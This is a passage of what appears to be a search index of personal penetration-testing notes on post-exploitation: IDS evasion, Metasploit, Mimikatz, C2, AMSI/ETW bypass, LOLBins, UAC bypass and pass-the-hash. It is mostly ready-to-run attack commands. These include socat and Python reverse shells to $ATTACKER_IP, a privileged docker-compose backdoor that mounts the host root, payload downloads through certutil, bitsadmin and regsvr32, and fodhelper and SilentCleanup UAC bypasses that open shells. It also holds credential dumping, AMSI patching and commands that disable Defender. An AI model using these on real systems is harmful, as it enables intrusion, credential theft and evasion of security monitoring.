$TARGET_IP`\n\n### Sending invalid packets\n* Invalid protocol header flags and checksums via`nmap --badsum`, `nmap --scanflags URG/ACK/PSH/RST/SYN/FIN`, e.g. concatentation of multiple flags `nmap --scanflags SYNRSTFIN`\n* `hping3` including `--ttl`, `--badsum`, header flags `-S`,`-A`,`-P`,`-U`,`-F`,`-R`\n\n## Payload Manipulation\n\n### Obfuscation and Encoding\n* Base64 \n* URL\n* Escaped Unicode Characters\n\n### Encrypting Communication Channels\n* Use socat with encryption \n```sh\nopenssl req -x509 -newkey rsa:2048 -days 356 -subj '/CN=www.example.com/O=YO/C=FR' -nodes -keyout id_rsa.key -out reverse.crt\n```\n* Create `.pem` (Privacy Enhanced Mail) file via\n```\ncat id_rsa.key reverse.crt > reverse.pem\n```\n* Listening on attacker side\n```sh\nsocat -d -d OPENSSL-LISTEN:4711,cert=reverse.pem,verify=0,fork STDOUT\n```\n* On target \n```sh\nsocat OPENSSL:$ATTACKER_IP:4711,verify=0 EXEC:/bin/bash\n```\n\n### Modification of Data\n* Order of parameters, instead of `nc -lvnp` it is `nc -vpnl`\n* Adding whitespaces to the commands\n* Use aliases\n\n## Route Manipulation\n\n### Relying on Source Routing\n* `nmap --ip-options \"L 10.10.20.30 10.10.30.40` routes through these IPs loosely\n* `nmap --ip-options \"S 10.10.20.30 10.10.30.40\"` routes through the IPs strictly\n\n### Using Proxyy Servers\n* `nmap -sS http://$PROXY1:80,socks4://$PROXY:8080 $TARGET_IP`\n\n## Tactical DoS\n* Non malicious, benign traffic against \n * IDS/IPS\n * Logging server\n\n## MISC\n\n* Changing \n * `User-Agent`\n * Request frequency and duration of sleep \n * SSL/TLS certs\n * DNS beacon, storing exfiltrated data in the query\n\n## Backdoors\n\n* Backdooring without getting recognized by the IDS/IPS by reading its rules in the config file\n\n### Docker\n\n* Create a `docker-compose.yaml` file with a reverse shell as an entry point, mount the host volume to `/mnt` inside the container\n```yaml\n---\nversion: \"2.1\"\nservices:\n backdoorservice:\n restart: always\n image: <Found image>\n entrypoint: > \n python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\n s.connect((\"<$ATTACKER_IP>\",4711));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);\n pty.spawn(\"/bin/sh\")'\n volumes:\n - /:/mnt\n privileged: true\n```\n","description":"","tags":[],"title":"IDS & IPS Evation","uri":"/post exploitation/docs/ids_ips_evation.html"},{"content":"Metasploit* `-j` Run job in background\n* `sessions -i 1` interactive session 1 \n\n## Meterpreter\n\n* [CheatSheet](https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/)\n* Upgrade shell\n```sh\npost/multi/manage/shell_to_meterpreter\n```\n* `execute` command\n* `search` files\n* `download` and `upload` files\n\n# Metasploit after gaining foothold\n\n* Meterpreter shell is opened on target. Run exploit suggester\n```sh\nrun post/multi/recon/local_exploit_suggester\n```\n* Decide on your exploit and `background` the meterpreter. \n* Use the exploit.\n```sh\nuse <path/to/exploit>\n```\n* Fill options like `session` and run the exploit \n\n### Privilege Escalation on Windows Using Metasploit\n* Find process with higher privs and migrate to it. Example `spoolsv.exe`.\n```sh\nmigrate -N spoolsv.exe\n```\n* After `NT AUTHORITY\\SYSTEM` is gained start mimikatz. and dump all creds\n```sh\nload kiwi\nhelp\ncreds_all\n```\n* Enable RDP via `run post/windows/manage/enable_rdp`\n\n### Hashdump on Windows\n* Meterpreter\n```sh\nrun post/windows/gather/hashdump\n```\n```sh\nload kiwi\nlsa_dump_sam\n```\n\n### Webdelivery\n```sh\nuse exploit/multi/script/web_delivery\nshow targets\nset LPORT <attacker-Port>\nset PAYLOAD windows/meterpreter/reverse_http\nrun -j\n```\n* Copy into powershell/cmd\n\n\n## Reverse Proxy\n\n* Hide behind reverse proxy, e.g. apache\n* In case of an apache, these modules must be enabled\n * rewrite\n * proxy\n * proxy_http\n * headers\n* Use `User-Agent` to identify targets\n```ucl\n<VirtualHost *:80>\n\n\tServerAdmin webmaster@localhost\n\tDocumentRoot /var/www/html\n\n\tRewriteEngine On\n\tRewriteCond %{HTTP_USER_AGENT} \"^User-Agent$\"\n\tProxyPass \"/\" \"http://localhost:8080/\"\n\n\t<Directory>\n\t\tAllowOverride All\n\t</Directory>\n\n\tErrorLog ${APACHE_LOG_DIR}/error.log\n\tCustomLog ${APACHE_LOG_DIR}/access.log combined\n\n</VirtualHost>\n```\n","description":"","tags":[],"title":"Metasploit","uri":"/post exploitation/docs/metasploit.html"},{"content":"Man In the Middle\n* [Ettercap](https://www.ettercap-project.org/)\n* [Bettercap](https://www.bettercap.org/)\n\n* ARP spoofing via ettercap and read traffic. Press q to reverse to pre mitm arp caches\n```sh\nettercap -T -i <interface> -M arp\n```\n\n* Etterfilter can filter and restructure packets\n```sh\nman etterfilter\n```\n```sh\nif (ip.proto == TCP && tcp.dst == 80 && search(DATA.data, \"filename.html\") ) {\n log(DATA.data, \"/tmp/ettercap.log\");\n replace(\"filename.html\", \"otherfilename.html\" );\n msg(\"###### ETTERFILTER: substituted 'filename.html' with 'otherfilename.html' ######\\n\");\n}\n```\n* Escape double quote inside the payload string\n* compile via \n```sh\netterfilter filter.ef -o filter.ef\n```\n\n* Run the filter via\n```sh\nettercap -T -i <interface> -M arp -F filter.ef\n```\n","description":"","tags":[],"title":"Man In the Middle","uri":"/post exploitation/docs/mitm.html"},{"content":"Mimikatz Usage* Check your privilege, boy\n```sh\nprivilege::debug\ntoken::elevate\n```\n\n## Dump hashes\n\n* NTLM\n```sh\n$ lsadump::lsa /patch\n```\n```sh\nsekurlsa::tickets /export\n```\n\n## Dump Local Password hashes\n\n```sh\ntoken::elevate\n```\n```sh\nlsadump::sam\n```\n\n* Form logged in users\n```sh\nsekurlsa::logonPasswords\n```\n\n## Golden ticket\n* Dump krbtgt hashes and create a ticket, ticket is saved as ticket.kirbi\n```sh\n$ lsadump::lsa /inject /name:krbtgt\n$ kerberos::golden /user:<userid> /domain:<domainname> /sid:<number behinde domainname> /krbtgt:<NTLMhash> /id:<RID(dec)>\n```\n* use the golden ticket, open a new elevated prompt\n```sh\nmisc::cmd\n```\n\n## Oneliner\n* Get the stuff\n```sh\n.\\mimikatz \"log host-42.log\" \"privilege::debug\" \"token::elevate\" \"sekurlsa::logonpasswords\" exit\n```\n\n","description":"","tags":[],"title":"Mimikatz Usage","uri":"/post exploitation/docs/mimikatz.html"},{"content":"Command and Control\n* [Matrix](https://www.thec2matrix.com/)\n* [bcsecurity](https://www.bc-security.org/) maintains Empire 4\n* [Empire](https://github.com/BC-SECURITY/Empire.git)\n* [Armitage](https://gitlab.com/kalilinux/packages/armitage.git)\n* [Covenant](https://github.com/cobbr/Covenant)\n* [Sliver](https://github.com/BishopFox/sliver)\n\n* Server\n * Listener\n* Payloads/Agents\n * Staged/Dropper\n * Stageless\n* Beacons from Agents, disguised through jitter\n* Modules\n * Post Exploitation\n * Pivoting\n\n## Domain Fronting\n\n* Use a Domain on the C2 server \n* User Cloudflare to proxy the request and responses to and from the target\n* Use HTTPs for channel encryption\n\n## Profiles\n\n* Server evaluates by custom user-agents to identify agents\n\n## Types\n\n* Std listener, TCP or UDP\n* HTTP/HTTPS, counter FW\n* DNS, if internet access of the target is flaky\n* SMB, counter network segments\n\n## Redirector\n\n* Apache or nginx as reverse proxy in front of the c2 server\n* FW is still needed in front of the redirector\n* These get burned instead of the c2\n\n\n\n\n","description":"","tags":[],"title":"Command and Control","uri":"/post exploitation/docs/c2.html"},{"content":"Linux Enumeration\n## First Checks\n\n```sh\ncat /etc/*-release \ncat /proc/version\n```\n\n```sh\nhostname or cat /etc/hostname\ncat /etc/hosts\n```\n\n```sh\ncat /etc/resolve.conf\ncat /etc/systemd/resolved.conf\nuname -a\ncat /etc/issue\nps wuax or ps ajxf or ps -A\nprintenv or env\ncat /etc/timezone or timedatectl\n```\n\n## Users\n\n```sh\nsudo -l\nid\nwhoami\ngroups and getent group or cat /etc/group\ncat /etc/passwd | column -t -s :\ncat /etc/shadow\ncat /etc/group\ncat /etc/sudoers\nhistory\ncat /var/mail\n```\n\n\n## Network Info\n\n* The output of information will be different, depending on permissions of the user\n```sh\nip a or ifconfig\nip route\ncat /etc/network/interfaces\nnetstat -natup or ss -natup\nnetstat -tupln or ss -tulpn\nnetstat -s and netstat -i\nlsof -i :<port>\n```\n\n## Login Info\n\n```sh\nlast -f /var/log/wtmp\nlast -f /var/log/btmp\nlast\nw\nwho\n```\n\n## Syslog\n\n```sh\njournalctl -xe\nless /var/log/syslog\n```\n\n## Auth Logs\n\n```sh\ncat /var/log/auth.log | less\ncat /var/log/access.log | less\n```\n\n## Find Files\n\n* Find SUID permissions on files and dirs\n* `find / -perm /6000 -ls 2>/dev/null`\n\n* Find writeables dirs\n* `find / -writable -type d 2>/dev/null` or `find / -perm -o w -type d 2>/dev/null`\n* `find / -perm -o x -type d 2>/dev/null`\n\n* Find writeable subdirs\n`find / -writable 2>/dev/null | cut -d \"/\" -f 2,3 | grep -v proc | sort -u`\n\n* `cat ~/.viminfo`\n\n## Services\n\n```sh\nls -al /etc/systemd/system && ls -la /var/lib/systemd/system || ls -la /etc/init.d \n```\n\n```sh\ncat /etc/crontab\ncrontab -l\ncat /etc/bash.bashrc ; cat /etc/profile\n```\n\n## Packet Managers\n\n* pacman, apt, dpkg, dnf etc. \n","description":"","tags":[],"title":"Linux Enumeration","uri":"/post exploitation/docs/linux.html"},{"content":"Powershell Logs\n## Transcript Logs\n\n* Enable via\n```sh\nreg add HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription /v EnableTranscripting /t REG_DWORD /d 0x1 /f\nreg add HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription /v OutputDirectory /t REG_SZ /d C:/ /f\nreg add HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription /v EnableInvocationHeader /t REG_DWORD /d 0x1 /f\n```\n\n## Usage\n\n```sh\nGet-EventLog -List\n```\n","description":"","tags":[],"title":"Powershell Logs","uri":"/post exploitation/docs/windows/powershell_logs.html"},{"content":"SEBackupPrivilege Escalation\n* Check user privileges to escalate\n\n## Usage\n* Check `whoami /all`\n* `SeBackupPrivilege` must be present\n* [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#using-diskshadow-a-windows-signed-binary)\n* Upload `diskshadow.txt` to the target with the following content, there has to be a space at the end of each line!!!!\n```sh\nset metadata C:\\tmp\\tmp.cabs \nset context persistent nowriters \nadd volume c: alias someAlias \ncreate \nexpose %someAlias% h: \n```\n* Change dir to `C:\\Windows\\System32` and `diskshadow.exe /s C:\\tmp\\diskshadow.txt`\n* Upload these [dlls](https://github.com/giuliano108/SeBackupPrivilege) to the target\n```sh\nimport-module .\\SeBackupPrivilegeUtils.dll\nimport-module .\\SeBackupPrivilegeCmdLets.dll\ncopy-filesebackupprivilege h:\\windows\\ntds\\ntds.dit C:\\tmp\\ntds.dit -overwrite\nreg save HKLM\\SYSTEM C:\\tmp\\system\n```\n* Downloads the files `ntds.dit` and `system`\n* Extract the hashes via\n```sh\nsecretsdump.py -system system -ntds ntds.dit LOCAL > out.txt\n```\n","description":"","tags":[],"title":"SEBackupPrivilege Escalation","uri":"/post exploitation/docs/windows/sebackupprivilege.html"},{"content":"Evade Event Tracing (ETW)\n* Event Logging\n* Trace Logging\n* Event IDs are used\n* __Event Provider__ generate events\n * Managed Object Format, enabled by a single trace session\n * Windows Software Trace Preprocessor, Trace Message Format, enabled by a single trace session\n * Manifest Based, up to 8 trace sessions\n * TraceLogging, up to 8 trace sessions\n* __Event Controller__ build and configure sessions for events\n* __Event Consumer__ interpret events, parses sessions of selected providers\n* XML data\n\n## Log Evasion\n\n* Deleting logs is tracked by an event ID as well . Do not do it!\n * ID 1102, security audit logs cleared\n * ID 104, log file cleared\n * ID 1100, even service shut down\n\n### Techniques\n\n* Provider\n * [PSEtwLogProvider modification](https://docs.microsoft.com/en-us/dotnet/standard/assembly/) from .Net assembly\n * Set `m_enabled` to `$null` via powershell script\n\n```sh\n$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')\n$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null)\n[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider,0);\n```\n\n * Group policy takeover\n * Loaded in the same security context as the user\n * GPO providers are script block logging and module logging\n * Event IDs reported are `4103` (Logs command invocation) and `4104` (Logs script block execution)\n * Administrative Templates -> Windows Components -> Windows PowerShell\n * Log pipeline abuse\n * `LogPipelineExecutionDetails` has to be set to false\n * Type creation\n* Controller\n * Patching EtwEventWrite stored in `ntdll.dll` via return value modification\n\n```sh\nvar ntdll = Win32.LoadLibrary(\"ntdll.dll\");\nvar etwFunction = Win32.GetProcAddress(ntdll, \"EtwEventWrite\");\n```\n\n * Modify memory permissions\n\n```c\nuint oldProtect;\nWin32.VirtualProtect(\n\tetwFunction, \n\t(UIntPtr)patch.Length, \n\t0x40, \n\tout oldProtect\n);\n```\n\n * Copy via `Marshal.Copy`\n\n```c\npatch(new byte[] { 0xc2, 0x14, 0x00 });\nMarshal.Copy(\n\tpatch, \n\t0, \n\tetwEventSend, \n\tpatch.Length\n);\n```\n\n * Clean up\n\n```c\nVirtualProtect(etwFunction, 4, oldProtect, &oldOldProtect);\n```\n\n * Check patched instruction\n\n```c\nWin32.FlushInstructionCache(\n\tetwFunction,\n\tNULL\n);\n```\n\n * Runtime Trace Tampering\n* Consumer\n * Log smashing\n * Log tampering\n\n\n\n\n","description":"","tags":[],"title":"Evade Event Tracing (ETW)","uri":"/post exploitation/docs/windows/evade_event_tracing.html"},{"content":"Antivirus Evasion\n* Existing types\n * On-Disk evasion\n * In-Memory evasion\n\n* Detection Methods\n * Static Detection -- Hash or String/Byte Matching \n * Dynamic -- predefined rules, run inside a sandbox, querying API and syscalls at runtime\n * Heuristic / Behaviourial Detection -- threshold hits by either static comparison of decompiled code or dynamically analyzed software\n\n* Additional Features\n * Unpacker -- decrypting and decompress\n * PE header parser -- portable executable headers are parsed\n * Emulation -- analysis in an emulated env\n\n## Enumeration\n```sh\nwmic /namespace:\\\\root\\securitycenter2 path antivirusproduct\nGet-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct\n```\n```sh\nGet-Service WinDefend\nGet-MpComputerStatus | select RealTimeProtectionEnabled\n```\n* Check firewall\n```sh\nGet-NetFirewallProfile | Format-Table Name, Enabled\n```\n```sh\nGet-NetFirewallRule | select DisplayName, Enabled, Description\n```\n* Check inbound port availability\n```sh\nTest-NetConnection -ComputerName 127.0.0.1 -Port 80\n```\n\n* Check Windows Defender and its active rules\n```sh\npowershell -c \"Get-MpPreference\"\npowershell -c \"Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Id\n```\n\n* Check tamper protection, and [bypass](https://gist.github.com/tyranid/c65520160b61ec851e68811de3cd646d#file-doh-ps1)\n```sh\nreg query \"HKLM\\Software\\Microsoft\\Windows Defender\\Features\" /v TamperProtection\n```\n\n## Reset Options\n```sh\nSet-NetFirewallProfile -Profile Domain, Public, Private -Enabled False\n```\n\n## Anti Malware Secure Interface\n\n* Powershell .NET runtime detection measure of windows. Scans code before executed.\n* https://docs.microsoft.com/en-us/windows/win32/amsi/\n* https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions\n* https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iamsistream\n* Integrated inside components\n * User Account Control (UAC)\n * Powershell\n * Windows Script Host (wscript, csrcipt)\n * JavaScript and VBScript\n * VBA macros\n* `System.Management.Automation.dll`\n\n* Flow\n```\n | Win32 API | COM API | AV Provider |\nInterpreter --> AMSIScanBuffer --> AMSIScanString --> IAntiMalware::Scan() --> IAntiMalwareProvider::Scan()\n```\n\n### Return Result/Response Codes\n```\nAMSI_RESULT_CLEAN = 0\nAMSI_RESULT_NOT_DETECTED = 1\nAMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384\nAMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479\nAMSI_RESULT_DETECTED = 32768\n```\n\n### PowerShell Downgrade Attack\n\n* Downgrade Powershell version to 2.0, where no AMSI is implemented\n```sh\nPowerShell -Version 2\n```\n\n* [Unicorn](https://github.com/trustedsec/unicorn) does leverage this\n\n### Reflection Bypass\n\n* Varying string concatenation and camelCasing variations of the following string by Matt Graeber\n* [Matt Graeber's Reflection](https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/)\n```sh\n[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\n```\nor an obfuscated version\n```sh\n[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)\nRemove-Item -Path \"HKLM:\\SOFTWARE\\Microsoft\\AMSI\\Providers\\{2781761E-28E0-4109-99FE-B9D127C57AFE}\" -Recurse\nSet-MpPreference -DisableRealtimeMonitoring $true\n```\n\n### AMSI ScanBuffer patch\n\n* Patching `amsi.dll`, which is loaded at Powershell startup\n* AMSI ScanBuffer is delivered to `amsi.dll`\n\n* Get handle of `amsi.dll`\n* Get process address of AmsiScanBuffer\n* Modify mem protection of AmsiScanBuffer\n* Write opcode to AMSIScanBuffer\n\n* [BC-Security's AMSI bypass](https://github.com/BC-SECURITY/Empire/blob/master/lib/common/bypasses.py)\n* [RastaMouse's AMSI bypass](https://github.com/rasta-mouse/AmsiScanBufferBypass/blob/main/AmsiBypass.cs)\n\n### Other Bypasses and Tools\n\n* [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell.git)\n\n* [amsifail](http://amsi.fail/) generates obfuscated snippets\n\n### Validate\n\n* [AMSITrigger](https://github.com/RythmStick/AMSITrigger) identifies strings which trigger the AMSI functions\n* Validate Obfuscation and check which strings trigger AMSI\n* [AMSITrigger Repo](https://github.com/RythmStick/AMSITrigger)\n```sh\n.\\\\AMSITrigger.exe -u <URL> -f 1\n```\nor\n```sh\n.\\\\AMSITrigger.exe -i <file> -f 1\n```\n\n### Further Obfuscation\n\n* String concatenation\n```sh\n$OBF = 'Ob' + 'fu' + 's' +'cation'\n```\n* `Concatenate - ('co'+'ffe'+'e')`\n* `Reorder - ('{1}{0}'-f'ffee','co')`\n* `Whitespace - ( 'co' +'fee' + 'e')`\n\n#### Type Obfuscation\n* .NET has type accelerators as aliases for types to shorten them and break the signature.\n* [idera](https://community.idera.com/database-tools/powershell/powertips/b/tips/posts/adding-new-type-accelerators-in-powershell)\n* [0x00-0x00](https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html)\n* [Documentation at microsoft](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_type_accelerators?view=powershell-7.1)\n\n* Example\n * Without\n```sh\n[system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);\n```\n * With\n```sh\n[dorkstork]::copy($buf, 0, $BufferAddress, 6);\n```\n\n### Automated Obfuscation \n\n#### Powershell\n* [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation)\n* [Daniel's guide to Invoke-Obfuscation](https://www.danielbohannon.com/blog-1/2017/12/2/the-invoke-obfuscation-usage-guide)\n```sh\nInvoke-Obfuscation -ScriptBlock {'Payload Here'} -Command 'Token\\\\String\\\\1,2,\\\\Whitespace\\\\1' -Quiet -NoExit\n```\n* [__8191 character limit__](https://docs.microsoft.com/en-us/troubleshoot/windows-client/shell-experience/command-line-string-limitation) of command prompt must not be exceeded.\n\n#### Other Obfuscation\n* Pinpoint bytes that will be flagged with [ThreadCheck](https://github.com/rasta-mouse/ThreatCheck)\n * Has to be build via VS. Will output a ddll, an excutable and an XML file.\n * `ThreatCheck.exe -f <file>`\n* [DefenderCheck](https://github.com/matterpreter/DefenderCheck)\n\n## Links\n* [cmnatic](https://cmnatic.co.uk/)\n* [cmnatic's diss](https://resources.cmnatic.co.uk/Presentations/Dissertation/)\n* [s3cur3th1ssh1t](https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/)\n* [amsi.fail](https://amsi.fail/)\n","description":"","tags":[],"title":"Antivirus Evasion","uri":"/post exploitation/docs/windows/antivirus_evasion.html"},{"content":"LOLBINS\n* [LOLBAS](https://lolbas-project.github.io/)\n * All binaries are signed by Microsoft\n * Shows paths to the binary\n\n## Ingress Tool Transfer\n\n* [certutil.exe](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil), may be used for payload encoding as well\n```sh\ncertutil.exe -urlcache -split -f http://%ATTACKER_IP%/shell.exe C:\\Windows\\Temp\\noshell.exe\ncertutil.exe -encode shell.exe encoded-shell.txt\n```\n* [bitsadmin](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin)\n```sh\nbitsadmin.exe /transfer /download /priority foreground http://%ATTACKER_IP%/shell.exe C:\\Windows\\Temp\\noshell.exe\n```\n* findstr\n```sh\nfindstr /v dummystring \\\\Path\\to\\shell.exe > C:\\Windows\\Temp\\noshell.exe\n```\n\n## Indirect Command Execution\n\n* Explorer as parent process to execute other PEs\n```sh\nexplorer /root, \"C:\\Windows\\System32\\cmd.exe\"\n```\n\n* Windows management instrumentation\n```sh\nwmic.exe process call create calc\n```\n\n* `rundll32.exe`\n\n## Bypass Whiteslists\n\n* `regsvr32.exe` can execute PEs in memory, even remotely\n* DLL has to match architecture\n```sh\nC:\\Windows\\System32\\regsvr32.exe C:\\Temp\\shell.dll\nC:\\Windows\\System32\\regsvr32.exe /s /n /u /i:http://%ATTACKER_IP%/shell.dll shell.dll\n```\n* `bash.exe -c calc.exe`\n\n## Shortcut Modification Technique\n\n* Execute PEs via shortcuts\n* Clone [powerlessshell](https://github.com/Mr-Un1k0d3r/PowerLessShell.git)\n* `msfvenom` with `windows/meterpreter/reverse_winhttps`\n* Set `multi/handler` with `set payload windows/meterpreter/reverse_winhttps`\n* Transform to `*.csproj` \n```sh\npython2 PowerLessShell.py -type powershell -source /tmp/shell.ps1 -output shell.csproj\n```\n* Execute on target\n```sh\nc:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe c:\\Users\\thm\\Desktop\\shell.csproj\n```\n","description":"","tags":[],"title":"LOLBINS","uri":"/post exploitation/docs/windows/living_off_the_land.html"},{"content":"User Account Control\n* Change permissions of a process or its resources\n* Mandatory Integrity Control (MIC)\n* Feature of MAC, assigns integrity level on permissions\n * Low\n * Medium\n * High\n * System\n\n## Login Tokens\n\n* Access tokens are given to users at login\n * __Non Administrator Token__, integrity level low\n * __Filtered Token__, stripped administrative permission, integrity level medium\n * __Elevated Token__, elevates to integrity level high\n\n## User Account Control Settings\n\n* __Always notify__\n* __Notify me only when programs try to make changes to my computer__, shows UAC dialogue\n* __Notify me only when programs try to make changes to my computer (do not dim my desktop)__\n* __Never notify__, never show UAC dialogue\n\n## How UAC Works\n\nApplication Information Service, a.k.a Appinfo\n\n* User requests elevated permissions\n* `ShellExecute` API call is made via `runas.exe`\n* Request to Appinfo\n* Application manifest is checked if AutoElevation is set to on\n* Appinfo runs `consent.exe`, dialogue opens up\n* User clicks yes, token is checked. PPID of the newly created porcess will be pointed to the shell from which the request originates, while the login token is elevated. Otherwise it is denied\n\n## Bypass\n\n* UAC is seen as a convenience function, not a security function\n* `Mandatory Label` is shown via `whoami /groups`\n\n### GUI\n\n#### msconfig\n* Open `msconfig`, always got integrity level high via auto elevation\n* On Tab `Tools` choose `Command Prompt` and press `Launch` to get an elevated `cmd.exe`\n\n#### azman.msc\n* Open `azman.msc` --> `Help` --> `Help Topics`\n* Right click help article --> `view source`\n* `Open` --> `File`, select `All Files`\n* Dialogue opens up, go to `C:\\Windows\\System32\\cmd.exe` and right click on it to open \n\n#### Autoelevate Process\n* Binary must be signed\n* Must be in a trusted dir like `Program Files` or `Windows`\n\n* Additionaly, portable executables need `autoelevate` in the manifest. Check via\n```sh\nsigcheck64.exe -m <portable_executable.exe>\n```\n* `mmc.exe` autoelevates depending on user request for msc-snapin\n* Most `*.msc`s, `spinstall.exe`, `pkgmgr.exe` as well as [COM objects autoelevate](https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker)\n\n### Commandline\n\n#### Fodhelper.exe\n\n* Default applications are stored in `HKEY_LOCAL_MACHINE\\Software\\Classes` which is superseded by the current user profile `HKEY_CURRENT_USER\\Software\\Classes`\n* `ms-settings` ProgID is searched for by `fodhelper.exe`, this setting overrides system defaults of which executable opens the filetype\n* The subprocess of `fodhelper.exe` inherits intergrity level high\n\n* Open reverse shell on attacker and \n```sh\nwhoami\nnet user <user> | find \"Local Group\"\nwhoami /groups | find \"Label\"\nset REG_KEY=HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command\nset CMD=\"powershell -windowstyle hidden C:\\Tools\\socat\\socat.exe TCP:$TARGET_IP:4444 EXEC:cmd.exe,pipes\"\nreg add %REG_KEY% /v \"DelegateExecute\" /d \"\" /f\nreg add %REG_KEY% /d %CMD% /f & fodhelper.exe\n```\n\n* Clean up via \n```sh\nreg delete HKCU\\Software\\Classes\\ms-settings\\ /f\n```\n\n\n* When Windows Defender is enabled use [v3d3d's improvement for bypassing Windows Defender](https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses)\n\n```sh\n$program = \"powershell -windowstyle hidden C:\\tools\\socat\\socat.exe TCP:$TARGET_IP:4445 EXEC:cmd.exe,pipes\"\n\nNew-Item \"HKCU:\\Software\\Classes\\.pwn\\Shell\\Open\\command\" -Force Set-ItemProperty \"HKCU:\\Software\\Classes\\.pwn\\Shell\\Open\\command\" -Name \"(default)\" -Value $program -Force\n \nNew-Item -Path \"HKCU:\\Software\\Classes\\ms-settings\\CurVer\" -Force\nSet-ItemProperty \"HKCU:\\Software\\Classes\\ms-settings\\CurVer\" -Name \"(default)\" -value \".pwn\" -Force\n \nStart-Process \"C:\\Windows\\System32\\fodhelper.exe\" -WindowStyle Hidden\n\nset CMD=\"powershell -windowstyle hidden C:\\Tools\\socat\\socat.exe TCP:$TARGET_IP:4445 EXEC:cmd.exe,pipes\"\nreg add \"HKCU\\Software\\Classes\\.thm\\Shell\\Open\\command\" /d %CMD% /f\nreg add \"HKCU\\Software\\Classes\\ms-settings\\CurVer\" /d \".thm\" /f\nfodhelper.exe\n\nreg delete \"HKCU\\Software\\Classes\\.thm\\\" /f\nreg delete \"HKCU\\Software\\Classes\\ms-settings\\\" /f\n```\n\n\n### Scheduled Tasks\n\n* UAC will not be triggered on scheduled tasks\n* DiskCleanup calls `%windir%\\system32\\cleanmgr.exe /autoclean /d %systemdrive%`\n* Set `%windir%` to a reverse shell via\n```sh\nreg add \"HKCU\\Environment\" /v \"windir\" /d \"cmd.exe /c C:\\tools\\socat\\socat.exe TCP:$TARGET_IP:4711 EXEC:cmd.exe,pipes &REM \" /f\nschtasks /run /tn \\Microsoft\\Windows\\DiskCleanup\\SilentCleanup /I\nreg delete \"HKCU\\Environment\" /v \"windir\" /f\n```\n\n### Automated Bypass\n\n* [hfiref0x's automated bypass named UCAME](https://github.com/hfiref0x/UACME.git)\n\n\n## Detection\n\n* https://www.bleepingcomputer.com/news/security/bypassing-windows-10-uac-with-mock-folders-and-dll-hijacking/\n","description":"","tags":[],"title":"User Account Control","uri":"/post exploitation/docs/windows/user_account_control.html"},{"content":"Applocker\n* Ruleset/policy for files and directories\n* Config file is `secpol.msc` \n* Sysadmins may create rules and push them to devices on the network.\n\n## Categories\n* `Executable Rules`, Determines what executables and applications can be run from specified directories.\n* `Windows Installer Rules`, Determines what Installers can be run\n* `Script Rules`, Determines what and where scripts can be run\n* `Packaged app Rules`, Determines what pre-packaged Windows applications can be run\n\n## Bypass\n* Check for executable paths at [HackLikeAPornStar's repo](https://github.com/HackLikeAPornstar/GibsonBird/blob/master/chapter4/applocker-bypas-checker.ps1)\n* [api0cradle's generic bypasses](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md)\n","description":"","tags":[],"title":"Applocker","uri":"/post exploitation/docs/windows/applocker.html"},{"content":"Pass the Hash\n## Usage\n\n```sh\nGetUserSPNs.py <Domain>/<user> -hashes <ntlm:hash> -outputfile hash.txt\n```\n* Crack the password\n* login\n```sh \nevilwinrm -i $TARGET_IP -u <user> -p password\n```\n","description":"","tags":[],"title":"Pass the Hash","uri":"/post exploitation/docs/windows/pass_the_hash.html"},{"content":"Windows Registry\n## AutoLogin Password\n* Automatic logon password is save in plaintext \n```\nreg query \"HKLM\\Software\\Microsoft\\WindowsNT\\CurrentVersion\\Winlogon\"\n```\n","description":"","tags":[],"title":"Windows Registry","uri":"/post exploitation/docs/windows/registry.html"},{"content":"ChangelogAll notable changes to this project will be documented in this file.\n\nThe format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),\nand this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).\n\n\n## [1.1.1] - 2020-11-06\n\n### Added\n\n* Added remote support to the following commands:\n * PowerShell, DotNet\n * FirefoxPresence, FirefoxHistory\n * ChromePresence/ChromeHistory/ChromeBookmarks\n * InternetExplorerFavorites, 